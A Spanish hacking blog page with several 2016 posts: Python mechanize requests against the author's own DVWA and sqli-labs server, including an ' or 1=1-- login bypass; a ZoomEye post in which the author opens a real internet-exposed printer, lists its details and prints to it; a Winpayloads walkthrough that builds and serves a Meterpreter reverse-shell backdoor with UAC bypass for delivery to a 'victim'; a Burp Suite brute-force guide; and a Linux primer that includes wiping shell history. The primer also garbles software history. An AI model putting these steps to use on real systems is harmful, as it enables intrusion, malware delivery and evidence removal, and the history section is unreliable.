domingo, 20 de noviembre de 2016

Hacking con Python - Interactuando con servidores web


 


Saludos mis queridos fieles lectores bueno en esta oportunidad deseo aclarar lo siguiente hace mas de 1 año estuve aprendiendo Python pero lamentablemente deje de estudiar ese lenguaje por motivos personales, hace 2 semanas llevo aprendiendo nuevamente las bases y todo lo demás.

Cabe de decir que en todos mis aprendizajes que emplee en mi conocimiento, serán expuestos en el blog para compartir con ustedes mi mejoramiento.

Si deseas aprender python y dar tus primeros pasos en este lenguaje sencillo pero a la vez muy potente, dejare un post que realice hace mucho tiempo.

http://www.backtrack-omar.com/2015/02/aprendiendo-python-nivel-basico-parte-1.html


¿Qué es Python?

Python es un lenguaje de alto nivel  orientado a objetos, La sintaxis de python   es muy limpia, su código es muy legible y es muy fácil de entenderlo.
Antes de comenzar por favor trata de leer el anterior POST.

Este escenario lo haremos desde el sistema operativo Kali linux - Debian, que por defecto lo tiene instalado, si utilizas un sistema Linux desde 0 puedes utilizar APT para instalarlo desde la terminal.

root@kali:~# apt-get install python

Algo que debo mencionar, es que trabajemos con la versión 2.7.X.

Descarga:

 Windows: https://www.python.org/downloads/windows/
 Mac  OShttps://www.python.org/downloads/mac-osx/


Después de tener instalado Python puedes ejecutarlo por la misma terminal:

Cambien puedes utilizar un IDE yo recomiendo Ninja-IDE, lo pueden descargar de su pagina oficial:

http://ninja-ide.org/downloads/

En mi caso tengo que descargar la versión debian en formado .deb, para poder instalarlo.
 
root@kali:~/Downloads# dpkg -i ninja-ide_2.3+r597~saucy1_all.deb 



También puedes instalar Sublime-Text para este escenario, para escribir código y activar su opción Build para poder ejecutar lo que estas programando, pero por mi parte no lo recomiendo, es mejor ejecutarlo por Ninja-IDE O por la terminal el archivo:  python ejemplo.py 

Vamos a utilizar algunas librerías dedicadas al manejo de plataformas web, empecemos.


Mechanize:

Es una librería que nos permite interactuar con cualquier plataforma web, como si estuviéramos en un navegador gráfico, ya que manipularemos los envíos de las peticiones en cualquier tipo de instancia.

Mechanize tiene 2 componentes principales:

Browser   -  Nos permite interactuar de manera completa a cualquier servidor web.

Controles - Nos permiten interactuar con  la informacion  de un servicio en su mayoría de codificación html. 


En esta prueba de concepto vamos a elaborar las peticiones desde mi servidor que esta alojado en una maquina virtual corriendo en XAMPP, ustedes pueden observar que la plataforma es "DVWA".

Bien lo que primero haremos, sera añadir la librería en nuestro proyecto de la siguiente manera:

import mechanize

si no  tienes esta librería no te preocupes, puedes instalarla de esta manera desde tu terminal:

pip install mechanize

luego crearemos nuestros objetos para definir nuestras instancias, y empezar a enviar nuestra peticiones.



>>> import mechanize

Importamos nuestra librería mechanize.  

>>> brow = mechanize.Browser()


creamos una instancia del objeto Browser de mechanize, para poder hacer peticiones a los servidores http.

>>> respuesta = brow.open('http://192.168.1.46/DVWA/login.php')


luego de ello utilizamos la instancia open para poder interactuar con nuestro primer objeto llamado brow y establecer una petición con url http://192.168.1.46/DVWA/login.php'

>>> print respuesta.geturl()


Entonces nosotros queremos recibir la respuesta del servidor, por ello le daremos print en el objeto respuesta y añadiremos geturl que nos permitirá obtener la url del servidor.  

>>> print respuesta.info()


Nos permitirá poder recibir la respuesta de informacion del servidor.

Date: Mon, 21 Nov 2016 04:29:00 GMT
Server: Apache/2.4.23 (Win32) OpenSSL/1.0.2h PHP/5.5.38
X-Powered-By: PHP/5.5.38
Set-Cookie: PHPSESSID=0h5f5rqpo4a06hduh8e067lg16; path=/
Expires: Tue, 23 Jun 2009 12:00:00 GMT
Cache-Control: no-cache, must-revalidate
Pragma: no-cache
Set-Cookie: PHPSESSID=0h5f5rqpo4a06hduh8e067lg16; path=/; httponly
Set-Cookie: security=impossible; httponly
Content-Length: 1567
Connection: close
Content-Type: text/html;charset=utf-8
Content-Type: text/html; charset=UTF-8
 


Si nosotros podemos ver este tipo de informacion de la versiones del servicios que  tiene, podemos ver que nos arroja como resultado:
 

Server: Apache/2.4.23 (Win32) OpenSSL/1.0.2h PHP/5.5.38

Fácilmente podemos buscar "Exploits", para poder elaborar un ataque remoto si lo vemos de esa perspectiva.
 
Bien continuemos con esto, si nosotros deseamos enviar peticiones a formularios, en este ejemplo buscaremos "vulnerabilidades SQLi metodo POST", para ello tengo el siguiente escenario.
  
Nuevamente añadiré mi instancia y todo los procesos para poder establecer una respuesta del servidor.  

>>> import mechanize
>>> br = mechanize.Browser()
>>> respuesta = br.open('http://192.168.1.46/sqlilabs/Less-42/')


Luego vamos a establecer una búsqueda de todos los formularios que contenga el modulo del login.

>>> for form in br.forms():
...     print form
... 


Vemos que nos arroja los siguientes formularios, en la linea 1 llamada login:

<login POST http://192.168.1.46/sqlilabs/Less-42/login.php application/x-www-form-urlencoded
  <TextControl(login_user=)>
  <PasswordControl(login_password=)>
  <SubmitControl(mysubmit=Login) (readonly)>>


comprobaremos si son los mismos formularios, desde el navegador web.

podemos observar que los formularios son los mismos, entonces no hay ningún problema.

Aclaremos los siguientes puntos, mechanize tiene la opción de poder manipular nuestros atributos y establecer los envíos de datos por su modulo submit.

Continuando con siguiente, debemos establecer que linea de formularios trabaremos, como solo existe el valor uno, de manera lógica se establece como 0, si existieran 2 y nuestro formulario estuviera de bajo del primero seria 1

>>> br.select_form(nr=0)


luego de añadir el numero del formulario que trabajaremos.
Vamos añadir los atributos a los respectivos formularios, en esta prueba hemos utilizado un conocido Bypass = ' or 1=1--

>>> br.form['login_user'] = "' or 1=1--"
>>> br.form['login_password'] = "' or 1=1--"


Entonces enviaremos nuestra petición al servidor de la siguiente manera.

>>> br.submit()


<response_seek_wrapper at 0xb73fd12cL whose wrapped object = <closeable_response at 0xb74030ecL whose fp = <socket._fileobject object at 0xb746ed6c>>>


Vemos que nos ha enviado una respuesta, ahora lo que debemos hacer por ultimo es leer la fuente de la pagina ver, para ver que respuesta nos ha arrojado.

>>> print br.response().read()



<html>
<head>
</head>
<body bgcolor="#000000">
<font size="3" color="#FFFF00">
<div align="right">
<a style="font-size:.8em;color:#FFFF00" href='index.php'><img src="../images/Home.png" height='45'; width='45'></br>HOME</a>
</div>

<font size="5" color= "#FFFF00">You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''' at line 1</font><tr><td colspan="2" style="text-align:center;"><br/><p style="color:#FF0000;">
<center>
<img src="../images/slap1.jpg">
</center>
</p></td></tr>


Testing


Sencillo verdad, pero solo estamos estableciendo valores definidos por nosotros mismos, para poder entender Python desde esa perspectiva, para después crear nuestra propios herramientas y establezcan las funciones por si mismas.

Un consejo, si eres el master de una web trata de controlar y ver los registros de las conexiones entrantes.


Si en vez de establecer una petición para auditoria, deseamos entrar a un panel administrativo por medio de sus credenciales.

pues entraremos nuevamente en la plataforma DVWA

Pero como estaremos en un panel administrativo debemos definir nuestra Cookie, para poder establecer conexión persistente desde la terminal, para ello utilizaremos el modulo: cookielib 

>>> import mechanize
>>> import cookielib
>>> br = mechanize.Browser()


La libreria Cookielib sirve para poder establecer una Cookie, para establecer conexión de usuario sin perderla al momento de actualizar o retroceder. 

Luego de ello, hemos instanciado nuestro objetivo Cookiejar, para establecer su función con nuestro modulo mechanize.  

>>> cj = cookielib.LWPCookieJar()
>>> br.set_cookiejar(cj)


Aquí estamos diciendo que no utilizaremos buscada de robots.

>>> br.set_handle_robots(False)


Luego de ello, los que le comentaba si nosotros actualizamos la plataforma por la terminar o regresamos, se nos cerrara la sesión ya que no establecimos el proceso de disponibilidad. 

>>> br.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(), max_time=1)


se acuerdan que hace momentos mostré los registros de conexiones por XAMPP, en esta instancia nos permite poder modificar nuestros agentes de usuario, quiere decir que podemos hacernos pasar por una sistema MAC OS y simular que estamos navegando desde el navegador Opera.

>>> br.addheaders = [('User-agent', 'Opera/9.25 (Macintosh; PPC Mac OS X; U; en)')]


Entonces estableceremos la URL,que deseamos enviar peticiones.

>>> r = br.open('http://192.168.1.46/DVWA/login.php')


ahora haremos nuevamente una búsqueda de formularios. 


>>> for form in br.forms():
...    print form
... 


<POST http://192.168.1.46/DVWA/login.php application/x-www-form-urlencoded
  <TextControl(username=)>
  <PasswordControl(password=)>
  <SubmitControl(Login=Login) (readonly)>
  <HiddenControl(user_token=e8db4eb8dbfcad683b1ab919c61cb253) (readonly)>>


Si tu defines los atributos, sin especificar con que formulario desees trabajar, te saldrá error, por el simple hecho de no asignar el objeto. 

>>> br.form['username'] = 'admin'


Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
TypeError: 'NoneType' object does not support item assignment


Entonces procederemos a elaborar dicha función correctamente asignando el valor 0, ya que en programación el valor inicial 1 es igual a 0

>>> br.select_form(nr=0)


Añadiremos nuestros atributos ( las credenciales reales )

>>> br.form['username'] = 'admin'
>>> br.form['password'] = 'password'


Enviaremos nuestro petición.
 
>>> br.submit()
<response_seek_wrapper at 0xb73d9a6cL whose wrapped object = <closeable_response at 0xb73f004cL whose fp = <socket._fileobject object at 0xb73ce9ac>>>


leeremos la respuesta del servidor por medio del código fuente.

>>> print br.response().read()



Comprobaremos si es el mismo código por medio del navegador gráfico.


Correcto, siempre cuando hagan consultas desde mechanize deben tener en claro que están interactuando como si fuese desde un navegador gráfico, pero desde la terminal.

ahora miremos los logs o registros del servidor apache para ver si nuestro agente de usuario que es Mozilla/Firefox  - Linux 32bits a cambiado a Opera - Mac OS

Espero les halla encantado este humilde articulo, me despido estaré estudiando mas métodos para poder continuar con este pequeño curso de Python.

Saludos!!!!



jueves, 17 de noviembre de 2016

ZoomEye el segundo buscador mas peligroso del mundo

Saludos mis queridos fieles lectores, bueno en esta oportunidad les traigo un buscador parecido a Shodan, pero que tienen aun mas información que el mencionado, algunos la están catalogando como la hermana de SHODAN, para mi es un proyecto muy interesante, es de origen chino y fue desarrollado en el año 2014 les presento a ZoomEye

Pagina:

https://www.zoomeye.org
















Un pequeño ejemplo de ello, si tu deseas utilizar la vista de mapa en ZoomEye es muy útil, pero a su vez algo tedioso ya que al buscar un determinado servicio les aparece lo siguiente:

https://www.zoomeye.org/vision/map/


Veamos algunos de sus "Dorks", ustedes se asombraran con los siguientes:

https://www.zoomeye.org/search/dorks


Me pareció interesante ver 2 dorks con el framework metasploit, viendo la información de uno de ellos me percate lo siguiente.

https://www.zoomeye.org/search?q=Meterpreter

Te indica que el servidor esta backdorizado y también te muestra el código del payload corriendo, sin duda este servidor de china esta mas owneado que una web gob.pe xD

veamos a las impresas conectadas en WAN, cuantas tienen su servicios disponibles para ser manipuladas.

Veamos entremos, en mi caso yo entre a una de EE.UU:

http://172.88.24.73/

Status: Connected
Host Name: HPD0DD7C
IP Address: 192.168.0.15
Hardware (MAC) Address: 68B599CFDE7E
SSID: HOME BASE 2.4G


Modelo:

Product Name     HP Officejet Pro 8500 A910
Product Model Number     CM755A
Product Serial Number     CN0B4AR2HJ
Service ID     21015
Firmware Version     LRP1FN1621BR
Total Page Count     13635
Country/Region  


como pueden observar acabo de enviar una imprisión de prueba.
para poder entrar a mas servicios privados deben registrarse en el siguiente enlace:

https://sso.telnet404.com/accounts/register/ 

 Algo importante que tengo que mencionar y también explicar porque no hago tan extenso este articulo, el 70 % de Dorks son similares a shodan, así que prueben este servicio se los recomiendo.

posdata: tengo sueño  xD

Saludos!

Aprendiendo a utilizar el Sistema operativo GNU


Saludos mis queridos fieles lectores en esta oportunidad haré un POST profundo para que aprendan a utilizar el sistema GNU/Linux, a pedido de muchos seguidores del blog que me han estado dejando mensajes privados, coordinadamente atenderé sus necesidades porque gracias a cada uno de ustedes, soy lo que soy en estos momentos, sin mas que decir vamos a explicar un poco la historia del Software Libre.

Software Libre

El software libre es una ideología que surgió en los años 80, su ideología única es respetar la libertar del usuario, luchando contra la venta y utilización del software privativo, impulsada por el padre del software libre Richard Stallman creando una comunidad social de solidaridad que han revolucionado la historia de la informática como la conocemos, desde ese punto de ideología tenemos los famosos lenguajes de programación “Open Source” y algo completamente importante para usuarios como yo, el sistema “UNIX” que es el S.O primitivo creado por Linux Torvalds, que en ese entonces fue un sistema comercial.

posteriormente paso a llamarse “GNU” por la implementación del kernel del sistema UNIX de Torvalds al sistema operativo de los desarrolladores de software libre teniendo como líder a Richard Stallman,  para que GNU pueda funcionar de una manera correcta y pasar desde entonces como “EL SISTEMA LIBRE” que revoluciono las medidas de seguridad y el manejo de libertar del usuario.
 
Richard Stallman es una revolucionario informático, que actualmente lucha contra grandes gobiernos y empresas como Microsoft que nos privan de nuestra privacidad, como a su vez tratan de añadirnos puertas traseras a nuestros sistemas para poder expiarnos.


Esta es la frase célebre del padre del software que por mi parte me encanto:

"¿Por qué quiere regalar Microsoft copias casi gratuitas (de su programa) a escuelas y niños?, es como regalar drogas adictivas, ya que la primera dosis es gratis pero, después de ser dependiente, tienes que pagar."

Existen 4 libertades  que se deben cumplir:


  • Libertad 0. Libertad de ejecutar el programa como desees.
  • Libertad 1. Libertad de estudiar el código fuente del programa y realizar los cambios que desee el programador.
  • Libertad 2. Libertad de ayudar a tu programa. Crear copias exactas del programa y distribuirlas bien gratuitamente o con la libertad de vender tu desarrollo. Estas dos opciones están permitidas por la comunidad.
  • Libertad 3. Libertad para contribuir a tu Comunidad. Hacer copias de tus versiones modificadas y distribuirlas entre los demás.

Antes de comenzar a dar tus primeros pasos en GNU, te recomiendo emularlo en tu sistema nativo por el momento, te sugiero utilizar ubuntu, Debian por que plataforma es bastante útil y sencilla.

Los pueden descargar en sus paginas oficiales:

Ubuntu:

https://www.ubuntu.com/download/desktop

Debian:

https://www.debian.org/distrib/

Comandos de navegación:

cd     - Entrar a una carpeta.
cd ..  - Salir de carpeta y volver a un directorio anterior.
cd /   - Dirigirse a la carpeta raíz del sistema.  
ls      - Ver todos archivos & directorios.
ls -la - Ver todos archivos & directorios(ocultos) con sus respectivos permisos.

Comandos de manipulación de datos:

mkdir - permite crear una carpeta.
rm -f   - permite eliminar un archivo.
rm -r  - permite eliminar un directorio.





touch - permite crear un archivo  

Aprendamos un poco sobre los permisos:

En GNU, la gestión de permisos de usuarios y los grupos de usuarios tienen sus carpetas y archivos, se realizan con los siguientes tipos de permisos.
  1. Permiso de Lectura
  2. Permiso de Escritura
  3. Permiso de Ejecución
permiso de lectura se representa con la letra r que en ingles es "Read" - "Leer".

permiso de Escritura se representa con la letra w que en ingles es "Write" - Escritura.

permiso de ejecución se representa con la letra x que en ingles es "Execute" - Ejecución.

root@kali:~/tutorial# chmod 664 * byass.txt


Propietario: lectura y escritura
Grupo: lectura
Resto: lectura

 
root@kali:~/tutorial# chmod 775 * login.txt


Propietario: lectura, escritura y ejecución
Grupo: lectura y ejecución
Resto: lectura y ejecución



root@kali:~/tutorial# chmod 777 * password.txt

Propietario: lectura, escritura y ejecución
Grupo: lectura, escritura y ejecución
Resto: lectura, escritura y ejecución





Si desean verlo con profundidad pueden ver el siguiente articulo aquí
otra cosa muy importante si es que una carpeta o un archivo necesite permisos administrativos para abrirse y tu eres root, debes ejecutar el comando sudo para poder leerlo, abrirlo o ejecutarlo.

root@kali:~/# sudo nano abrirme.log

Instalar herramientas:

En GNU hay 3 formas de instalar una herramienta una de ellas es de forma gráfica con archivos run, "ejecutables" en entorno GUI.





Existen 2 formas de instalar por la terminal, uno que con lleva a instalaciones por repertorios y la otra por archivo .deb formado de paquetes.

Instalar por "APT"

root@kali:~# apt-get install iceweasel












¿Muy sencillo verdad?.

Explicare algo bien resumido, el navegador iceweasel se instalado por el simple hecho que se encuentra añadido en nuestro repositorio, si nosotros instalamos una herramienta como virtualbox, etc no lo reconocerá porque no esta añadido:

root@kali:~# nano /etc/apt/sources.list 








en ese archivo podemos añadir repositorios nuevos, actualizar nuestro repertorio para poder instalar la herramienta nueva con:

root@kali:~# apt-get update                            

Si deseas desintalarlo y eliminarlo de manera permanente junto con sus archivos lo puedes hacer de la siguiente manera:

root@kali:~/# apt-get remove firefox  --purge
 
 

Ahora nos queda la ultima, podemos instalar también herramientas en forme paquetes, que no estén añadidos en algún repositorio, descargado su instalador como por ejemplo: ninja-ide

root@kali:~/Downloads# dpkg -i ninja-ide_2.3+r597~saucy1_all.deb

bastante sencillo verdad, si deseas desintalarlo lo puedes hacer de la siguiente manera:

root@kali:~/# dpkg -r ninja-ide

ahora imagínese que desee instalar una herramienta de 64bits y usted tiene de 32bits, puede hacerlo volviendo su sistema multiplataforma.

"multiarch" Multi-arquitectura.

Primero debe instalar para proceder a elaborar el multiarch

root@kali:~# apt-get install dpkg

Para ver que arquitectura ponemos.

root@kali:~# dpkg --print-foreign-architectures

Yo le quiero añadir la arquitectura amd64.
 
root@kali:~# dpkg --add-architecture amd64



Si deseas instalar una herramienta con dicha arquitectura.

root@kali:~# apt-get install wine:amd64

Si deseas eliminar alguna arquitectura:

root@kali:~# dpkg --remove-architecture arquitectura

si deseas saber los datos de red, lo puedes hacer ejecutando:

root@kali:~# ifconfig 








como vemos estoy utilizando eth0 red por cableado, si deseo activar o prender mi conexión inalámbrica - wlan0 lo puedes hacer ejecutando lo siguiente:

root@kali:~# ifconfig  wlan0 up

Si deseas apagarlo lo puedes hacer de la siguiente manera:

root@kali:~# ifconfig  wlan0 down 
 
muy sencillo verdad lo puedes hacer mediante wlan0 como eth0.


manipulación servicios 

por ejemplo si nosotros trabajamos con un servicio como apache2 o servicios de base de datos como de red, debemos siempre activarlos para que puedan correr en nuestros sistemas.

Para activar nuestro servicio:

root@kali:~# service apache2 start

Para ver el estado de nuestro servicio:

root@kali:~# service apache2 status

Para detener nuestro servicio:

root@kali:~# service apache2 stop

Optimizar nuestros procesos

Si bien sabemos en GNU no consumimos muchos recursos dependiendo de que procesos estamos corriendo en vivo, debemos saber que Linux trae su propio optimizador de procesos.


Primero veamos cuanta memoria se esta ejecutando en el sistema:

root@kali:~# watch -n 1 free -m

si se fijan ustedes en su terminal, verán sus resultados entonces si nosotros deseamos optimizar los procesos que no se ejecutan de forma principal los podemos cerrar de la siguiente manera borrando los caches de la raw.

root@kali:~# sync && sysctl -w vm.drop_caches=3

Una cosa importante cada ves que ejecuten comandos en la terminal - Shell, se registra todo.

Puedes ver todas esas lineas de la siguiente manera.

root@kali:~# history


Si no te gustan tales lineas puedes eliminar todas de la siguiente manera:

root@kali:~# cat /dev/null > ~/.bash_history

Digamos que solamente desea eliminar algunas lineas, por ejemplo la linea 1995 lo puedes hacer de esta manera:

root@kali:~# history -d 1995 

Bueno mis estimados lectores con estos pasos que les eh enseñado los ayudara demasiado a comprender y poder navegar por la terminal de GNU sin ningún problema.

Nuevamente es un agrado cumplir con ustedes, son las 5:20 am y no eh dormido casi nada xD

Saludos y éxitos para todos, no olvides compartir el blog y dejar tu comentario.
Agradecer no cuesta nada.


lunes, 14 de noviembre de 2016

Creando tus Backdoors con Winpayloads

Saludos fieles lectores en esta oportunidad les traigo una herramienta llamada "WInPayloads" creada en python, su función principal es crear "Payloads" unicamente para la plataforma Windows, su uso es sencillo como un framework lo interesante de ello, es su constante actualización y las nuevas funciones que se añaden en cada repertorio.

Descarga:

root@kali:~/Winpayloads# git clone https://github.com/nccgroup/Winpayloads.git 

Luego de descargar su respectivo modulo, pasaremos a entrar a la carpeta e instalaremos los requisitos y dependencias necesarias.

root@kali:~/Winpayloads# ./setup.sh

Bueno ya instalado todo lo necesario, pasaremos a ejecutar el archivo.

lo peculiar de esta herramienta es que todo esta automatizado, cabe decir que es una herramienta para personas ocupadas como nosotros y deseemos optimizar los procesos.

en esta prueba de concepto escogeré la opción 2:

2: Windows Meterpreter Reverse Shell [uacbypass, persistence, allchecks] 

configurando nuestro payload

vemos que nos aparecen 2 lineas que nos pregunta que puerto de escucha y IP deseamos añadir, en si las opciones te llegan configuradas, pero si deseas añadir tu puerto de escucha puedes personalizarlo, como también añadir tu  IP publica para ataques fuera de la red (WAN) 
  
En mi caso escogí el puerto 8081 y deje mi IP por default para estatblecer nuestros datos de conexión en nuestro payload.   

Luego de configurar esos datos, nos aparecerá la penúltima linea:

[*] Try UAC Bypass(Only Works For Local Admin Account)? y/[n]:y

No hay necesidad de explicar lo siguiente, porque esta bien claro, nos pregunta si deseamos utilizar un exploit Bypass UAC para obtener todos los privilegios, yo le añadí que si.

[*] Payload.exe Has Been Generated And Is Located Here: /etc/winpayloads/Windows_Meterpreter_Reverse_Shell.exe

El archivo se genero en la carpeta de raiz:  /etc/winpayloads

Para terminar nos aparece la siguiente linea:

Upload To Local Websever or (p)sexec? [y]/p/n: y
 

lo pregunta es, si deseamos crear un servidor web local de escucha para subir nuestro payloads y poder enviarlo a nuestro victima, yo le añadí si.

Serving Payload On http://192.168.1.35:8000/Windows_Meterpreter_Reverse_Shell.exe

Vemos que nos arrojo la ruta del payload corriendo, luego de ello se abrirá metasploit framework con nuestra configuración añadida:

Solo nos quedara enviar el payloads a nuestra victima pueden utilizar MITM, si estas en tu red local o cualquier otro medio, si no sabes como te invito a buscar en el blog los artículos mencionados.






Luego que nuestra victima ejecute el exploit: ojo ustedes pueden cambiarle el nombre, aclaro esto porque tengo un "critico" con micronocimientos que comenta a cada momento un post mio, jajaja.

Bueno en el momento que nuestra victima ejecute el payloads tendremos su sesión meterpreter 1, pero en segundo plano se estará ejecutando el modulo del Bypass UAC:

vemos que nuestro bypass se ejecuto correctamente, espero les halla gustado este pequeño articulo.

No olvides compartir el blog y dejar tu comentario.
Agradecer no cuesta nada.

Saludos!




domingo, 13 de noviembre de 2016

Elaborando un ataque Brute Force en BurpSuite


Saludos nuevamente mis queridos fieles lectores en esta oportunidad les enseñare a elaborar un ataque de fuerza bruta en plataformas web, con Burpsuiete.

Burpsuite es una herramienta creada en java, que tiene como objetivo fundamental auditar cualquier plataforma web, capturando los datos que se envíen para posteriormente ejecutar ataques.

Si deseas aprender a utilizar esta herramienta puedes visitar el siguiente enlace:

http://www.backtrack-omar.com/2015/08/auditando-con-burp-suite-v1612.html


Elaborar un MITM:

http://www.backtrack-omar.com/2015/10/capturando-e-interceptando-datos-de-red.html

Utilizar Burpsuite con Tor

http://www.backtrack-omar.com/2015/11/testing-burpsuite-tor-browser.html

antes de empezar les recomiendo que lean el primer post para que vayan configurando el proxy de Burpsuite en su navegador.


Plataforma para el ataque

como vemos esta plataforma es la escogí para elaborar la prueba de concepto, bueno ya hecho todo lo anteriormente mencionado, añadiremos cualquier credencial, lo importante es darle clip al botón y capturar los datos.

Luego de hacer todo lo siguiente, nos iremos al Burpsuite para ver lo capturado.










vemos que nos arrojo las respuesta que hemos enviado, lo que nosotros unicamente nos importa es la ultima linea:

usuario=admin&contra=123456

esta fue la credencial sin validez que añadí, entonces señalaremos todo el texto, le daremos anticlip y escogeremos la opción "Send Intruder" y nos dirigiremos a la pestaña "Positions":

vemos que se marcan 3 lineas una de Cookie y las de abajo de las credenciales, en nuestro caso nosotros debemos quedarnos con las lineas:

usuario=§admin§&contra=§123456§ 

para ello pueden señalar toda la linea cookie y darle en "Clear $", o simplemente darle "Clear $" sin señalar nada eliminando todo los payloads escogidos por default y señal solamente los parámetros usuario y contra.

si notaron bien en la anterior imagen en la barra de "Attack Type", esta en Sniper, nosotros la cambiaremos por "Cluster Bomb".


debe quedar de la siguiente manera luego de ello entraremos a la pestaña "Payloads"


Deseo aclarar lo siguiente en la barra Payload set, Se activaran la cantidad de payloads escogidos en pestaña "Positions" en nuestro caso fueron "2".

Aquí viene nuestra arma principal nuestro "Diccionario"
le daremos en el boton de abajo donde dice "load" y cargaremos nuestro diccionario.

el primer payload fue "usuario" >> user.txt


El segundo payload fue "contra" >> pass.txt



El proceso se debe repetir para ambos, ya que son payloads diferentes, luego de ello le daremos en el botón "Start attack".

entonces se empezara nuestro ataque de fuerza bruta.


Vemos que estamos elaborando el ataque  y tenemos respuestas "200", que en su mayoría son peticiones comunes estáticas de un modelo.

pero si observamos la linea señalada esta con respuesta "302", significa que hemos entrado a un modelo diferente de donde hemos estado, en ciertas palabras conectándonos al panel administrativo.

Credencial correcta:

usuario=admin&contra=jacky


HTTP/1.1 302 Found
Date: Mon, 14 Nov 2016 01:33:19 GMT
Server: Apache/2.4.23 (Win32) OpenSSL/1.0.2h PHP/5.5.38
X-Powered-By: PHP/5.5.38
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
location: admin/Administrador.php
Content-Length: 3884
Connection: close
Content-Type: text/html



Esto fue todo amigos, no olviden compartir la pagina y dejar su comentario.
agradecer no cuesta nada.

Saludos!!

Datos del Autor


Obra de K. Haring

Actualmente soy estudiante de Ing de sistemas en Perú, me gusta mucho la rama del Pentesting y las Auditorias de plataformas web, actualmente ahora me estoy dedicando a dar ponencias sobre Inseguridad Informática.
Soy una persona sencilla y humilde que me encanta aprender nuevos temas en mis tiempos libres.
Llevo ya casi 2 años y 7 meses en el Pentesting.

"Me considero un novato en busca de conocimiento con estomago de pobre"


! Gana Dinero con ouo !

Entradas Populares